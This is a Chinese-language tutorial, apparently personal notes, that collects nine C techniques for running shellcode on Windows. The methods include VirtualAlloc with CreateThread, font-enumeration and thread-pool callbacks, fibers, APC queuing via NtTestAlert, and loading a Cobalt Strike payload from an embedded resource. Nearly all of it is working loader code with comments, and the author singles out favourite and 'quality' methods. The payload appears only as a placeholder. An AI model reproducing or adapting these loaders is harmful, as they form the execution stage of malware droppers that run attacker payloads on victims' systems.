1.指针加载
((void(*)())p)();
void* p ((void(*)())p)()
- p首先是一个指针,
- void(*)() 是一个函数指针类型:它告诉编译器,我们有一个函数指针,指向一个不返回任何值(void)的函数。这个函数指针类型的声明与你要调用的函数的签名匹配。
- (void(*)())p 这一部分将指针 p 从它原来的类型(可能是其他函数指针类型或空指针类型)转换为一个无返回值的函数指针类型。这种类型转换是为了确保 p 能够正确地被调用,因为在C语言中,函数指针的类型非常重要
- ((void(*)())p)():执行
2.汇编执行
#include <stdio.h>
#include <windows.h>
// .data段(数据段,存储静态变量和全局变量)改为可读可写可执行
#pragma comment(linker, "/section:.data,RWE")
unsigned char buf[] = "shellcode"; // 要为全局变量
int main() {
__asm {
lea eax, buf // 这里查看反汇编是lea eax,[buf地址]
call eax
}
return 0;
}
注:lea是“Load Effective Address ”的缩写 --加载有效地址
3.创建线程执行
#include <stdio.h>
#include <windows.h>
int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// CopyMemory是Windows API
CopyMemory(p, buf, sizeof(buf)); // 将shellcode写入内存
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)(LPVOID)p, NULL, 0, NULL);
WaitForSingleObject(hThread, INFINITE); // 等待新线程执行完毕,不等待可能执行不到
return 0;
}
4.回调函数执行
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char buf[] = "shellcode";
void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
/*
* EnumFontsW是Windows API,用于枚举系统中所有可用字体
* 参数1:设备环境句柄,表示要枚举哪个设备的字体
* 参数2:NULL表示枚举所有字体
* 参数3:回调函数指针,用于处理每个枚举到的字体信息
* 参数4:回调函数参数
*/
EnumFontsW(GetDC(NULL), NULL, p, NULL); // 回调函数
return 0;
}
5.线程池等待对象回调函数执行--我最喜欢用的方式
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect); // shellcode内存后修改为可读可写可执行
HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)(LPVOID)buf, NULL, NULL);
SetThreadpoolWait(threadPoolWait, event, NULL);
WaitForSingleObject(event, INFINITE); // 等待事件对象执行完毕(状态变为无信号),事件对象执行会执行回调函数buf
return 0;
}
6.创建纤程(Fiber)执行
纤程是比线程更小的执行单位
#include <stdio.h>
#include <Windows.h>
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
ConvertThreadToFiber(NULL); // 将当前线程转换为纤程(轻量级线程)
void* shellcodeFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)(LPVOID)buf, NULL);
SwitchToFiber(shellcodeFiber); // 切换纤程,执行函数
DeleteFiber(shellcodeFiber); // 删除纤程对象
return 0;
}
7.NtTestAlert+APC执行
#include <stdio.h>
#include <Windows.h>
// 定义的一个函数指针类型pNtTestAlert,函数使用__stdcall调用约定(用于大多数Win32 API函数),函数返回DWORD类型
typedef DWORD(WINAPI* pNtTestAlert)();
int main() {
unsigned char buf[] = "shellcode";
DWORD oldProtect;
VirtualProtect((LPVOID)buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
* GetModuleHandleA用于获取DLL的句柄
* GetProcAddress用于获取函数地址
* NtTestAlert函数是内部函数,无法直接通过函数名调用
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
/*
* QueueUserAPC是Windows API,用于将APC函数插入到指定线程的APC队列中
* 参数1:APC函数指针
* 参数2:指定线程句柄
* 参数3:APC函数参数
* GetCurrentThread是Windows API,返回当前执行的线程的句柄
*/
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)buf, GetCurrentThread(), NULL);
NtTestAlert(); // 该函数会检查当前线程的APC队列是否有待执行的异步过程调用,如果有就会立刻执行
return 0;
}
这也是一个优质的执行方法,值得深入研究一下
8.从资源文件加载
源文件->添加->资源->导入->CS生成的.bin文件->资源类型(xxx)
在resource.h查看资源ID(#define IDR_XXX1)
#include <stdio.h>
#include <windows.h>
#include "resource.h" // 将资源文件 resource.h 中定义的资源包含到当前文件
int main() {
/*
* FindResource是windows API,用于在资源表中查找指定名称和类型的资源
* 参数1:模块句柄,表示要在哪个模块中查找资源,NULL表示在当前模块中查找
* 参数2:查找资源的名称或ID,如果是用ID,则需要使用宏 MAKEINTRESOURCE 将ID转换为字符串类型
* 参数3:资源类型名称
*/
HRSRC Res = FindResource(NULL, MAKEINTRESOURCE(IDR_XXX1), L"xxx");
DWORD Size = SizeofResource(NULL, Res); // Windows API,用于获取资源大小
HGLOBAL Load = LoadResource(NULL, Res); // Windows API,用于加载资源
void* p = VirtualAlloc(NULL, Size, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(p, Load, Size);
((void(*)())p)();
return 0;
}
9.窗口函数执行
CallWindowProc((WNDPROC)(char*)arr, (HWND)0, 0, 0, 0);